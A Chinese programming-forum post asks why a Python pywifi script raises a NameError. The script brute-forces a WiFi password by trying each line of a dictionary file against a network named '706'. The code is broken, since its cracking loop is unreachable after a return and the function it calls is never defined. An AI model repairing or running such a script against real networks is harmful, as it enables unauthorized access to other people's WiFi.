鱼C论坛

 找回密码
 立即注册
查看: 796|回复: 0

代码报错NameError: name 'crack_wifi' is not defined

[复制链接]
发表于 2020-5-31 14:11:55 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
#导入相关的包
import sys
import time
import platform
import logging

import pywifi
from pywifi import const
pywifi.set_loglevel(logging.INFO)
def scan_wifi():
    #初始化wifi模块
    wifi = pywifi.PyWiFi()
    #初始化网卡,一般人只有一块网卡,也就是0(第一块)
    iface = wifi.interfaces()[0]
    #执行wifi扫描
    iface.scan()
    #等待5s
    time.sleep(5)
    #扫描wifi结果
    result = iface.scan_results()
    #取出wifi的名字作为返回
    wifiname=[]
    for i in result:
        wifiname.append(i.ssid)
    return(wifiname)
def connect_wifi(name,password):
    #初始化wifi模块
    wifi = pywifi.PyWiFi()
    #初始化网卡
    iface = wifi.interfaces()[0]
    #断开WiFi连接
    iface.disconnect()
    #等待1s(等待断开完成,可以设置2s,但一般1s都挺长的了)
    time.sleep(1)
    
    assert iface.status() in\
        [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    #初始化wifi连接
    profile = pywifi.Profile()
    #初始化wifi连接的名字
    profile.ssid = name
    #初始化wifi连接用的网卡的状态
    profile.auth = const.AUTH_ALG_OPEN
    #初始化wifi连接的加密算法——WPA2
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    #初始化wifi连接的密码类型
    profile.cipher = const.CIPHER_TYPE_CCMP
    #初始化wifi连接用的密码
    profile.key = password
    #删除网卡上连接过的wifi文件(注意可能会遗忘原本的密码)
    iface.remove_all_network_profiles()
    #初始化wifi配置完成
    tmp_profile = iface.add_network_profile(profile)
    #网卡连接wifi
    iface.connect(tmp_profile)
    #等待4s
    time.sleep(4)
    #如果连接状态=IFACE_CONNECTED(连接成功),那么connect_wifi返回真
    if iface.status() == const.IFACE_CONNECTED:
        return True
    else:
        return False
    #控制台打印要破解的wifi名
    print('开始解密wifi名:'+name)
    print(' ')
    #密码字典(可以理解为一本新华字典,字典的内容都是密码)
    path = 'pass.txt'
    #将密码字典导入到程序
    filename = open(path, 'r')
    #开始解密
    while True:
        try:
            #每一次循环取一行密码
            passStr = filename.readline()
            #用密码去连接wifi,并获取wifi连接的结果
            bool1 = connect_wifi(name,passStr)
            #判断结果
            if bool1:
                print(passStr,'是正确的密码哦')
                break
            else:
                print(passStr,'不是正确的密码哦')
        except:
            continue

crack_wifi('706')
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2025-1-20 22:46

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表